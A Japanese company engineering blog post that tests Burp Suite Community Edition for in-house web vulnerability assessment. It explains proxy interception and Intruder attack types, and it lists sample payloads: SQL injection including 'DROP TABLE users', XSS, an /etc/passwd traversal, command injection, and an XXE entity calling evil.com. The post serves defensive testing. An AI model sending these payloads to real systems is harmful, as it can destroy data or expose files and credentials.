こんにちは、バクラク請求書受取チーム エンジニアの @noritama です。
今年は無事に結婚でき、めでたい1年となりました。
この記事は LayerXテックアドカレ (概念) 46日目の記事です。昨日は uehara さんの 「マイクロサービス環境における Amazon OpenSearch Serverless のポリシー設計 #LayerXテックアドカレ - LayerX エンジニアブログ 」でした。
今回はBurpSuiteを使って脆弱性診断が可能かを検証した話をします。
BurpSuite
今回の検証では Burp Suite Community Edition version 2023.11.1.3 を使用しています。
BurpSuiteでできること
自動診断ツールやセキュリティ診断技術者が手動でリクエストするのと同じように、リクエストパラメータに診断値を挿入し、レスポンスの挙動から脆弱性の有無を判定することができるツールです。 今回使用したCommunity Editionでは機能制限もありますが、一通り診断実施までは可能です。
HTTP通信をInterceptして診断値を挿入する
リクエストをInterceptする
[Proxy] -> [Intercept] で "Intercept is off" をクリックする。(少しわかりにくいですが、ボタンのラベルが "Intercept is on" になっているときがInterceptできる状態です。
"Open browser" をクリックするとブラウザが起動します。内部ではProxyServerが起動していて、このブラウザ経由の通信が全てProxyを経由することでInterceptが可能になっています。
診断対象のサイトにアクセスすると、リクエストがInterceptされ詳細が表示されます。
リクエストの内容を書き換えて送信したい場合は、PrettyタブもしくはRawタブで内容を変更し、[Forward] ボタンを押します。
リクエストをサーバに送らずに破棄したい場合は [Drop] ボタンを押します。
すべてのリクエストがInterceptされるとなかなか目的のリクエストに到達しない場合、Interceptしたいリクエストをフィルタリングすることも可能です。
レスポンスをInterceptする
[Proxy settings] -> [Response interception rules] で [Intercept responses based on the following rules] にチェックが入っている場合、レスポンスをInterceptできます。
rulesで Match type: Request, Match relationship: Was intercepted を指定しておくことで、リクエストをInterceptしたときのレスポンスだけIntercept可能なので入れておくことをおすすめします。
リクエスト同様、内容を書き換えて[Forward]でブラウザに返却、[Drop]で破棄できます。
最低限手動で脆弱性診断をする場合は、このレスポンス内容を見ることで脆弱性の有無を見ていくことができそうです。
診断値を自動で挿入する
Proxyでは自ら診断値を設定しレスポンスを目で見て確認する必要があり、なかなか実用的とは言い難いものでした。しかしIntruderを使うことで、設定さえ正しく行えば確実に診断を実施することが可能になります。
設定
[Proxy] -> [HTTP History] から診断したいリクエストを右クリック -> [Send to Intruder] を選択します。
Positions
[Choose an attack type] ではPayloadがPositionに割り当てられる方法を指定することができます。
- Sniper: このAttackTypeは、1つのペイロードセットから各ペイロード位置に順番にペイロードを配置します。このAttackTypeは、個々の脆弱性に対して個別にリクエストパラメータをファジングするのに役立ちます。
- Battering ram: このAttackTypeは、定義されたすべてのペイロード位置に同じペイロードを同時に配置します。このAttackTypeは、リクエスト内の複数の場所に同じ入力を挿入する必要がある攻撃に役立ちます。
- Pitchfork: このAttackTypeは、各定義された位置に異なるペイロードセットを反復処理します。ペイロードは、同時に各位置に配置されます。このAttackTypeは、リクエスト内の複数の場所に異なるが関連する入力を挿入する必要がある攻撃に役立ちます。
- Cluster bomb: このAttackTypeは、各定義された位置に異なるペイロードセットを反復処理します。ペイロードは、すべてのペイロードの組み合わせがテストされるように、各セットから順番に配置されます。このAttackTypeは、リクエスト内の複数の場所に無関係または不明な入力を挿入する必要がある攻撃に役立ちます。
今回は最もシンプルなSniperを使用していきます。
[Payload positions] で診断値を素運輸したい箇所に § を挿入して指定できます。
パラメータの末尾に診断値を挿入したい場合は param§、パラメータ値を診断値に置き換えたい場合は §param§ のように指定します。
Payloads
[Payload settings] に診断値を登録していきます。最も専門的な知識が必要な部分になりますが、ここでは一例として下記を登録してみます。
- SQLインジェクション - `' OR '1'='1` - `1; DROP TABLE users;` - クロスサイトスクリプティング - `<script>alert("XSS");</script>` - `<img src="javascript:alert('XSS');">` - ディレクトリトラバーサル - `../../etc/passwd` - コマンドインジェクション - `; ls -al` - XML外部エンティティ (XXE) - `<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://evil.com/xxe"> ]>` - セッションハイジャック - `Cookie: sessionid=attacker_session` - ヘッダーインジェクション - `Host: evil.com` - HTTPヘッダーインジェクション - `X-Forwarded-For: evil_ip`
診断を開始する
右上の[Start attack]でリクエストを開始します。今回はCommunity Editionを使っているため、いくつかの機能が制限され、時間制限がかかるよというアラートが表示されますが、気にせず[OK]を押すとリクエストが開始されます。
診断結果を確認する
任意の行を選択することで、リクエストとレスポンスの内容を確認できます。 また、[Grep - Match] を設定した場合は、一覧の右側に設定ごとの列があり、一致するレスポンスがあった場合には「1」が表示されます。大量の診断を実施する場合には便利そうです。
Webサイトをクロールして自動で脆弱性を発見する(Professional Only)
BurpSuiteにはScannerという機能があり、WebサイトのURL内のコンテンツをクロールし、アプリケーションの診断を自動化してくれます。
今回はCommunity Editionのため試せませんでしたが、興味とお金に余裕のある方は試してみてはいかがでしょうか。
会社で導入してエンジニア全員が触れるようにしたいという場合にはEnterprise Editionがありますが、決して安くはないので社内に診断担当者を置く形が現実的なのかなと思います。
まとめ
ここまでBurpSuiteを使って脆弱性診断を実施する方法について解説してきました。
自身で適切なパラメータを指定できるのであれば、ある程度活用できるのではないかと思います。しかし、セキュリティの知識が浅い筆者のようなエンジニアでは、これだけでセキュリティを担保するのは難しいでしょう。
バクラクでは脆弱性診断は外部の診断会社に委託していますが、診断会社の診断結果に基づいてアプリケーションを修正した後、修正が正しく行えたかどうかを確認する等、補完的な位置付けであれば活用できそうです。
ハタラクをバクラクにするプロダクトを一緒に開発していきたい人を大募集中です!もしご興味ありましたら、ぜひカジュアル面談からお話させてください! LayerX Casual Night というお酒を飲みながらカジュアル面談よりカジュアルにゆる~く話せるイベントも開催しておりますので、ぜひご参加ください! jobs.layerx.co.jp
採用情報はこちら↓ jobs.layerx.co.jp